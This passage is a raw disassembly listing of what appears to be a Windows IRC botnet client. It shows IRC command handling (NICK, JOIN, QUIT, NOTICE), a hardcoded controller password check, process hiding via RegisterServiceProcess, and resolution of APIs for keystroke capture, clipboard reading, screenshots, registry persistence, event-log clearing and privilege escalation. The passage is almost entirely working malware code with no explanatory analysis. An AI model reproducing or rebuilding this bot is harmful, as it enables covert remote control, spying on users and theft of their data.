push dword ptr [ebp+18h]
jnz short loc_409358
push offset unk_42AF1C
jmp loc_406C70
; ---------------------------------------------------------------------------
loc_409358: ; CODE XREF: seg000:0040934Cj
push offset unk_42AEEC
jmp loc_406C70
; ---------------------------------------------------------------------------
loc_409362: ; CODE XREF: seg000:004059B2j
; seg000:004059C7j
mov esi, [ebp+18h]
push esi
call ds:dword_4CDC38 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp-2D0h], eax
jz short loc_4093A5
push 2
lea eax, [ebp-2D0h]
push 4
push eax
call ds:dword_4CDBB0 ; gethostbyaddr
cmp eax, ebx
jz short loc_4093C0
push dword ptr [eax]
loc_40938E: ; CODE XREF: seg000:004093BEj
push esi
lea eax, [ebp-2C0h]
push offset unk_42AECC
push eax
call sub_41BA76
jmp loc_4092CB
; ---------------------------------------------------------------------------
loc_4093A5: ; CODE XREF: seg000:00409375j
push esi
call ds:dword_4CDC7C ; gethostbyname
cmp eax, ebx
jz short loc_4093C0
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call ds:dword_4CDC84 ; inet_ntoa
push eax
jmp short loc_40938E
; ---------------------------------------------------------------------------
loc_4093C0: ; CODE XREF: seg000:0040938Aj
; seg000:004093AEj
push offset unk_42AEA4
jmp loc_4061FF
; ---------------------------------------------------------------------------
loc_4093CA: ; CODE XREF: seg000:00405988j
; seg000:0040599Dj
push 7Fh
push dword ptr [ebp+18h]
push dword ptr [ebp+1Ch]
call sub_41B7E0
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
push offset unk_42AE7C
push eax
call sub_41BA76
add esp, 18h
jmp loc_406EA9
; ---------------------------------------------------------------------------
loc_4093F3: ; CODE XREF: seg000:0040595Ej
; seg000:00405973j
push 5
push ebx
push ebx
push dword ptr [ebp+18h]
push offset aOpen ; "open"
push ebx
call ds:dword_4CDB64
push dword ptr [ebp+18h]
test eax, eax
jz short loc_409417
push offset unk_42AE5C
jmp loc_406C70
; ---------------------------------------------------------------------------
loc_409417: ; CODE XREF: seg000:0040940Bj
push offset unk_42AE38
jmp loc_406C70
; ---------------------------------------------------------------------------
loc_409421: ; CODE XREF: seg000:00405934j
; seg000:00405949j
mov eax, [ebp+18h]
mov cl, [eax]
mov ds:byte_42A098, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_42AE10
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_40943A: ; CODE XREF: seg000:0040590Aj
; seg000:0040591Fj
push dword ptr [ebp+18h]
call sub_41B969
test eax, eax
pop ecx
jle loc_409753
push dword ptr [ebp+18h]
call sub_41B969
cmp eax, 400h
pop ecx
jge loc_409753
push ebx
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_40AF07
push eax
lea eax, [ebp-2C0h]
push offset dword_42CB10
push eax
call sub_41BA76
add esp, 1Ch
jmp loc_4088BE
; ---------------------------------------------------------------------------
loc_409489: ; CODE XREF: seg000:004058E0j
; seg000:004058F5j
mov esi, [ebp+18h]
push esi
call sub_41B969
test eax, eax
pop ecx
jle loc_401F82
push esi
call sub_41B969
cmp eax, 400h
pop ecx
jge loc_401F82
push offset aQuitLater ; "QUIT :later\r\n"
push esi
call sub_41B969
imul eax, 234h
pop ecx
push ds:dword_440B44[eax]
call sub_409920
pop ecx
pop ecx
push 1F4h
call ds:dword_428064 ; Sleep
push esi
call sub_41B969
imul eax, 234h
pop ecx
push ds:dword_440B44[eax]
call ds:dword_4CDC90 ; closesocket
push dword ptr [ebp-10h]
push esi
call sub_41B969
imul eax, 234h
pop ecx
push ds:dword_440B4C[eax]
call near ptr 0B10000h
pushf
push esi
call sub_41B969
imul eax, 234h
push esi
mov ds:dword_440B4C[eax], ebx
call sub_41B969
imul eax, 234h
pop ecx
pop ecx
mov byte ptr ds:dword_440938[eax], bl
jmp loc_401F82
; ---------------------------------------------------------------------------
loc_409537: ; CODE XREF: seg000:004058B6j
; seg000:004058CBj
push dword ptr [ebp+18h]
push offset aAll ; "all"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_409568
call sub_40B134
cmp eax, ebx
jle short loc_40955E
push eax
push offset unk_42ADE4
jmp loc_4072BB
; ---------------------------------------------------------------------------
loc_40955E: ; CODE XREF: seg000:00409551j
push offset unk_42ADBC
jmp loc_403F99
; ---------------------------------------------------------------------------
loc_409568: ; CODE XREF: seg000:00409548j
mov eax, [ebp-0A4h]
lea esi, [eax+1]
jmp short loc_4095DF
; ---------------------------------------------------------------------------
loc_409573: ; CODE XREF: seg000:004095E2j
mov edi, [ebp+esi*4-90h]
cmp edi, ebx
jz loc_401F82
push edi
call sub_41B969
push eax
call sub_40B0AC
pop ecx
pop ecx
test eax, eax
push edi
lea eax, [ebp-2C0h]
jz short loc_4095A2
push offset unk_42AD98
jmp short loc_4095A7
; ---------------------------------------------------------------------------
loc_4095A2: ; CODE XREF: seg000:00409599j
push offset unk_42AD6C
loc_4095A7: ; CODE XREF: seg000:004095A0j
push eax
call sub_41BA76
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_4095D1
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 14h
loc_4095D1: ; CODE XREF: seg000:004095B3j
lea eax, [ebp-2C0h]
push eax
call sub_4152AE
pop ecx
inc esi
loc_4095DF: ; CODE XREF: seg000:00409571j
cmp esi, 20h
jb short loc_409573
jmp loc_401F82
; ---------------------------------------------------------------------------
loc_4095E9: ; CODE XREF: seg000:0040588Cj
; seg000:004058A1j
cmp [ebp-0Ch], ebx
jz loc_409753
push dword ptr [ebp+18h]
push dword ptr [ebp-0Ch]
call sub_41BAF0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409753
push esi
push offset dword_42B514
push dword ptr [ebp+0Ch]
call sub_409920
push esi
push offset dword_42AD50
jmp loc_408A9F
; ---------------------------------------------------------------------------
loc_409622: ; CODE XREF: seg000:00405862j
; seg000:00405877j
push dword ptr [ebp+18h]
push offset dword_42B478
push dword ptr [ebp+0Ch]
call sub_409920
push dword ptr [ebp+18h]
push offset unk_42AD2C
jmp loc_408A9F
; ---------------------------------------------------------------------------
loc_40963F: ; CODE XREF: seg000:00405838j
; seg000:0040584Dj
push dword ptr [ebp+esi-88h]
push dword ptr [ebp+18h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
push dword ptr [ebp+18h]
push offset unk_42AD08
jmp loc_408972
; ---------------------------------------------------------------------------
loc_409663: ; CODE XREF: seg000:0040580Ej
; seg000:00405823j
push dword ptr [ebp+18h]
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
push dword ptr [ebp+18h]
push offset unk_42ACE4
jmp loc_408A9F
; ---------------------------------------------------------------------------
loc_409680: ; CODE XREF: seg000:00404C79j
; seg000:00404C8Ej
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
push offset unk_42ACC0
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4152AE
push dword ptr [ebp+18h]
call sub_41B969
add esp, 1Ch
loc_4096B8: ; CODE XREF: seg000:00409704j
push eax
call ds:dword_428064 ; Sleep
loc_4096BF: ; CODE XREF: seg000:00404593j
xor eax, eax
jmp loc_401F85
; ---------------------------------------------------------------------------
loc_4096C6: ; CODE XREF: seg000:00404C4Fj
; seg000:00404C64j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
push offset unk_42AC98
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4152AE
push dword ptr [ebp+18h]
call sub_41B969
add esp, 1Ch
imul eax, 3E8h
jmp short loc_4096B8
; ---------------------------------------------------------------------------
loc_409706: ; CODE XREF: seg000:0040296Bj
; seg000:00402980j
push dword ptr [ebp+esi-8Ch]
xor eax, eax
cmp [ebp-8ECh], bl
setnz al
push eax
lea eax, [ebp-334h]
push ds:dword_42A0A0
push eax
call sub_40AF07
lea eax, [ebp-334h]
push eax
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
lea eax, [ebp-334h]
push eax
push offset unk_42AC74
call sub_415322
loc_409750: ; CODE XREF: seg000:00406D0Aj
add esp, 24h
loc_409753: ; CODE XREF: seg000:00402118j
; seg000:00402124j ...
mov eax, [ebp+2Ch]
jmp loc_401F85
; ---------------------------------------------------------------------------
loc_40975B: ; CODE XREF: seg000:00402563j
; seg000:00402578j
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
mov [ebp+18h], esi
jz loc_401F82
cmp [ebp-0A8h], ebx
jnz loc_401F82
push offset asc_42E0C4 ; "!"
push dword ptr [ebp-90h]
call sub_41C2E4
mov esi, eax
push offset dword_4CDAB0
push ebx
inc esi
call sub_41C2E4
push offset asc_42AC70 ; "~"
push eax
call sub_41C2E4
push dword ptr [ebp+18h]
mov edi, eax
push offset a19736666386888 ; "19736666386888"
call sub_41C260
add esp, 20h
test eax, eax
jz short loc_409803
lea eax, [ebp-0C0h]
push edi
push eax
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push dword ptr [ebp+0Ch]
call sub_409920
push edi
push esi
push offset unk_42ABF0
loc_4097EF: ; CODE XREF: seg000:0040985Cj
lea eax, [ebp-2C0h]
push eax
call sub_41BA76
add esp, 30h
jmp loc_4023FC
; ---------------------------------------------------------------------------
loc_409803: ; CODE XREF: seg000:004097B6j
mov [ebp+2Ch], ebx
loc_409806: ; CODE XREF: seg000:00409823j
mov eax, [ebp+2Ch]
push edi
push ds:off_42A154[eax]
call sub_40B2C4
pop ecx
test eax, eax
pop ecx
jnz short loc_40985E
add dword ptr [ebp+2Ch], 4
cmp dword ptr [ebp+2Ch], 4
jb short loc_409806
lea eax, [ebp-0C0h]
push edi
push eax
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push dword ptr [ebp+0Ch]
call sub_409920
push edi
push esi
push offset unk_42AB9C
jmp short loc_4097EF
; ---------------------------------------------------------------------------
loc_40985E: ; CODE XREF: seg000:00409819j
mov edi, [ebp+20h]
xor esi, esi
loc_409863: ; CODE XREF: seg000:00409884j
cmp [edi], bl
jnz short loc_40987A
push dword ptr [ebp+18h]
push offset a19736666386888 ; "19736666386888"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_40988B
loc_40987A: ; CODE XREF: seg000:00409865j
inc esi
add edi, 80h
cmp esi, 1
jl short loc_409863
jmp loc_401F82
; ---------------------------------------------------------------------------
loc_40988B: ; CODE XREF: seg000:00409878j
shl esi, 7
add esi, [ebp+20h]
lea eax, [ebp-0E2Ch]
push 7Fh
push eax
push esi
call sub_41B7E0
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_4098C2
push ebx
push dword ptr [ebp-4]
push offset unk_42AB7C
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 14h
loc_4098C2: ; CODE XREF: seg000:004098A6j
lea eax, [ebp-0C0h]
push eax
push offset unk_42AB5C
loc_4098CE: ; CODE XREF: seg000:00402073j
; seg000:0040436Fj ...
call sub_415322
loc_4098D3: ; CODE XREF: seg000:00403652j
pop ecx
loc_4098D4: ; CODE XREF: seg000:00403FD4j
pop ecx
jmp loc_401F82
; ---------------------------------------------------------------------------
loc_4098DA: ; CODE XREF: seg000:00401D4Aj
; seg000:00401D5Fj
push dword ptr [ebp+18h]
push offset aUserhostS ; "USERHOST %s\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
push offset aXI ; "-x+i"
push dword ptr [ebp+18h]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
add esp, 2Ch
mov ds:dword_4CDAA8, edi
jmp loc_401DD9
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409920 proc near ; CODE XREF: sub_4019DB+30p
; seg000:00401D07p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41C380
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_4CDC48 ; send
leave
retn
sub_409920 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409966 proc near ; CODE XREF: seg000:00401FE0p
; seg000:00402E0Cp ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409981
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409981: ; CODE XREF: sub_409966+14j
push edi
call sub_41B1D0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41B1D0
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_2 ; "%s"
push esi
push eax
call sub_41BB70
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41BA76
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_4CDC48 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_4099FF
push 7D0h
call ds:dword_428064 ; Sleep
locret_4099FF: ; CODE XREF: sub_409966+8Cj
leave
retn
sub_409966 endp
; =============== S U B R O U T I N E =======================================
sub_409A01 proc near ; CODE XREF: seg000:00401281p
push ebx
push ebp
mov ebp, ds:dword_42809C
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, ds:dword_4280BC
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409B21
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov ds:dword_4CDCA4, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov ds:dword_4CDC18, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov ds:dword_4CDBFC, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov ds:dword_4CDB0C, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov ds:dword_4CDAB8, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov ds:dword_4CDAE8, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov ds:dword_4CDB60, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov ds:dword_4CDC58, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov ds:dword_4CDCB0, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov ds:dword_4CDB18, eax
call esi
cmp ds:dword_4CDCA4, ebx
mov ds:dword_4CDB00, eax
jz short loc_409AFF
cmp ds:dword_4CDC18, ebx
jz short loc_409AFF
cmp ds:dword_4CDBFC, ebx
jz short loc_409AFF
cmp ds:dword_4CDB0C, ebx
jz short loc_409AFF
cmp ds:dword_4CDAE8, ebx
jz short loc_409AFF
cmp ds:dword_4CDB60, ebx
jz short loc_409AFF
cmp ds:dword_4CDC58, ebx
jz short loc_409AFF
cmp ds:dword_4CDCB0, ebx
jz short loc_409AFF
cmp ds:dword_4CDB18, ebx
jz short loc_409AFF
cmp eax, ebx
jnz short loc_409B09
loc_409AFF: ; CODE XREF: sub_409A01+B8j
; sub_409A01+C0j ...
mov ds:dword_4CDCB4, 1
loc_409B09: ; CODE XREF: sub_409A01+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov ds:dword_4CDC30, eax
jz short loc_409B36
push 1
push ebx
call eax
jmp short loc_409B36
; ---------------------------------------------------------------------------
loc_409B21: ; CODE XREF: sub_409A01+1Dj
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4CDCB8, eax
mov ds:dword_4CDCB4, 1
loc_409B36: ; CODE XREF: sub_409A01+117j
; sub_409A01+11Ej
push offset aUser32_dll ; "user32.dll"
call ds:dword_4280B8 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409C4B
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov ds:dword_4CDC54, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov ds:dword_4CDC04, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov ds:dword_4CDB98, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov ds:dword_4CDCA8, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov ds:dword_4CDBC8, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov ds:dword_4CDBE8, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov ds:dword_4CDC4C, eax
call esi
cmp ds:dword_4CDC54, ebx
mov ds:dword_4CDB38, eax
jz short loc_409BEF
cmp ds:dword_4CDC04, ebx
jz short loc_409BEF
cmp ds:dword_4CDB98, ebx
jz short loc_409BEF
cmp ds:dword_4CDCA8, ebx
jz short loc_409BEF
cmp ds:dword_4CDBC8, ebx
jz short loc_409BEF
cmp ds:dword_4CDBE8, ebx
jz short loc_409BEF
cmp ds:dword_4CDC4C, ebx
jz short loc_409BEF
cmp eax, ebx
jnz short loc_409BF9
loc_409BEF: ; CODE XREF: sub_409A01+1B8j
; sub_409A01+1C0j ...
mov ds:dword_4CDCBC, 1
loc_409BF9: ; CODE XREF: sub_409A01+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov ds:dword_4CDBC4, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov ds:dword_4CDACC, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov ds:dword_4CDB94, eax
call esi
cmp ds:dword_4CDBC4, ebx
mov ds:dword_4CDB7C, eax
jz short loc_409C56
cmp ds:dword_4CDACC, ebx
jz short loc_409C56
cmp ds:dword_4CDB94, ebx
jz short loc_409C56
cmp eax, ebx
jnz short loc_409C60
jmp short loc_409C56
; ---------------------------------------------------------------------------
loc_409C4B: ; CODE XREF: sub_409A01+144j
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4CDCC0, eax
loc_409C56: ; CODE XREF: sub_409A01+232j
; sub_409A01+23Aj ...
mov ds:dword_4CDCBC, 1
loc_409C60: ; CODE XREF: sub_409A01+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409E19
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov ds:dword_4CDC68, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov ds:dword_4CDBAC, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov ds:dword_4CDC1C, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov ds:dword_4CDAF8, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov ds:dword_4CDB5C, eax
call esi
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov ds:dword_4CDBD4, eax
call esi
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov ds:dword_4CDB78, eax
call esi
cmp ds:dword_4CDC68, ebx
mov ds:dword_4CDB88, eax
jz short loc_409D09
cmp ds:dword_4CDBAC, ebx
jz short loc_409D09
cmp ds:dword_4CDC1C, ebx
jz short loc_409D09
cmp ds:dword_4CDAF8, ebx
jz short loc_409D09
cmp ds:dword_4CDB5C, ebx
jz short loc_409D09
cmp ds:dword_4CDBD4, ebx
jnz short loc_409D13
loc_409D09: ; CODE XREF: sub_409A01+2DEj
; sub_409A01+2E6j ...
mov ds:dword_4CDCC4, 1
loc_409D13: ; CODE XREF: sub_409A01+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov ds:dword_4CDBDC, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov ds:dword_4CDBB4, eax
call esi
cmp ds:dword_4CDBDC, ebx
mov ds:dword_4CDC64, eax
jz short loc_409D4E
cmp ds:dword_4CDBB4, ebx
jz short loc_409D4E
cmp eax, ebx
jnz short loc_409D58
loc_409D4E: ; CODE XREF: sub_409A01+33Fj
; sub_409A01+347j
mov ds:dword_4CDCC4, 1
loc_409D58: ; CODE XREF: sub_409A01+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov ds:dword_4CDBEC, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov ds:dword_4CDAD4, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov ds:dword_4CDADC, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov ds:dword_4CDB40, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov ds:dword_4CDB44, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov ds:dword_4CDAF0, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov ds:dword_4CDBB8, eax
call esi
cmp ds:dword_4CDBEC, ebx
mov ds:dword_4CDAE0, eax
jz short loc_409DFC
cmp ds:dword_4CDAD4, ebx
jz short loc_409DFC
cmp ds:dword_4CDADC, ebx
jz short loc_409DFC
cmp ds:dword_4CDB40, ebx
jz short loc_409DFC
cmp ds:dword_4CDB44, ebx
jz short loc_409DFC
cmp ds:dword_4CDAF0, ebx
jz short loc_409DFC
cmp ds:dword_4CDBB8, ebx
jz short loc_409DFC
cmp eax, ebx
jnz short loc_409E06
loc_409DFC: ; CODE XREF: sub_409A01+3C5j
; sub_409A01+3CDj ...
mov ds:dword_4CDCC4, 1
loc_409E06: ; CODE XREF: sub_409A01+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov ds:dword_4CDAD8, eax
jnz short loc_409E2E
jmp short loc_409E24
; ---------------------------------------------------------------------------
loc_409E19: ; CODE XREF: sub_409A01+26Aj
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4CDCC8, eax
loc_409E24: ; CODE XREF: sub_409A01+416j
mov ds:dword_4CDCC4, 1
loc_409E2E: ; CODE XREF: sub_409A01+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409EFA
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov ds:dword_4CDBE4, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov ds:dword_4CDC3C, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov ds:dword_4CDC44, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov ds:dword_4CDC00, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov ds:dword_4CDB1C, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov ds:dword_4CDAC8, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov ds:dword_4CDC40, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov ds:dword_4CDAB4, eax
call esi
cmp ds:dword_4CDBE4, ebx
mov ds:dword_4CDB54, eax
jz short loc_409F05
cmp ds:dword_4CDC3C, ebx
jz short loc_409F05
cmp ds:dword_4CDC44, ebx
jz short loc_409F05
cmp ds:dword_4CDC00, ebx
jz short loc_409F05
cmp ds:dword_4CDB1C, ebx
jz short loc_409F05
cmp ds:dword_4CDAC8, ebx
jz short loc_409F05
cmp ds:dword_4CDC40, ebx
jz short loc_409F05
cmp ds:dword_4CDAB4, ebx
jz short loc_409F05
cmp eax, ebx
jnz short loc_409F0F
jmp short loc_409F05
; ---------------------------------------------------------------------------
loc_409EFA: ; CODE XREF: sub_409A01+438j
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4CDCD0, eax
loc_409F05: ; CODE XREF: sub_409A01+4B9j
; sub_409A01+4C1j ...
mov ds:dword_4CDCCC, 1
loc_409F0F: ; CODE XREF: sub_409A01+4F5j
mov ebp, ds:dword_4280B8
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A1CB
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov ds:dword_4CDB68, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov ds:dword_4CDC9C, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov ds:dword_4CDB08, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov ds:dword_4CDAE4, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov ds:dword_4CDBA4, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov ds:dword_4CDB8C, eax
call esi
push offset aSocket ; "socket"
push edi
mov ds:dword_4CDB50, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov ds:dword_4CDC78, eax
call esi
push offset aConnect ; "connect"
push edi
mov ds:dword_4CDC94, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov ds:dword_4CDBA0, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov ds:dword_4CDC84, eax
call esi
push offset aHtons ; "htons"
push edi
mov ds:dword_4CDC38, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov ds:dword_4CDBF8, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov ds:dword_4CDBF4, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov ds:dword_4CDB28, eax
call esi
push offset aSend ; "send"
push edi
mov ds:dword_4CDB20, eax
call esi
push offset aSendto ; "sendto"
push edi
mov ds:dword_4CDC48, eax
call esi
push offset aRecv ; "recv"
push edi
mov ds:dword_4CDC5C, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov ds:dword_4CDC10, eax
call esi
mov ds:dword_4CDBD0, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov ds:dword_4CDC24, eax
call esi
push offset aListen ; "listen"
push edi
mov ds:dword_4CDBE0, eax
call esi
push offset aAccept ; "accept"
push edi
mov ds:dword_4CDC20, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov ds:dword_4CDC8C, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov ds:dword_4CDBD8, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov ds:dword_4CDB9C, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov ds:dword_4CDC0C, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov ds:dword_4CDC7C, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov ds:dword_4CDBB0, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov ds:dword_4CDB4C, eax
call esi
cmp ds:dword_4CDB68, ebx
mov ds:dword_4CDC90, eax
jz loc_40A1D6
cmp ds:dword_4CDC9C, ebx
jz loc_40A1D6
cmp ds:dword_4CDB08, ebx
jz loc_40A1D6
cmp ds:dword_4CDBA4, ebx
jz loc_40A1D6
cmp ds:dword_4CDB8C, ebx
jz loc_40A1D6
cmp ds:dword_4CDB50, ebx
jz loc_40A1D6
cmp ds:dword_4CDC78, ebx
jz loc_40A1D6
cmp ds:dword_4CDC94, ebx
jz loc_40A1D6
cmp ds:dword_4CDBA0, ebx
jz loc_40A1D6
cmp ds:dword_4CDC84, ebx
jz loc_40A1D6
cmp ds:dword_4CDC38, ebx
jz loc_40A1D6
cmp ds:dword_4CDBF8, ebx
jz loc_40A1D6
cmp ds:dword_4CDBF4, ebx
jz loc_40A1D6
cmp ds:dword_4CDB28, ebx
jz short loc_40A1D6
cmp ds:dword_4CDC48, ebx
jz short loc_40A1D6
cmp ds:dword_4CDC5C, ebx
jz short loc_40A1D6
cmp ds:dword_4CDC10, ebx
jz short loc_40A1D6
cmp ds:dword_4CDBD0, ebx
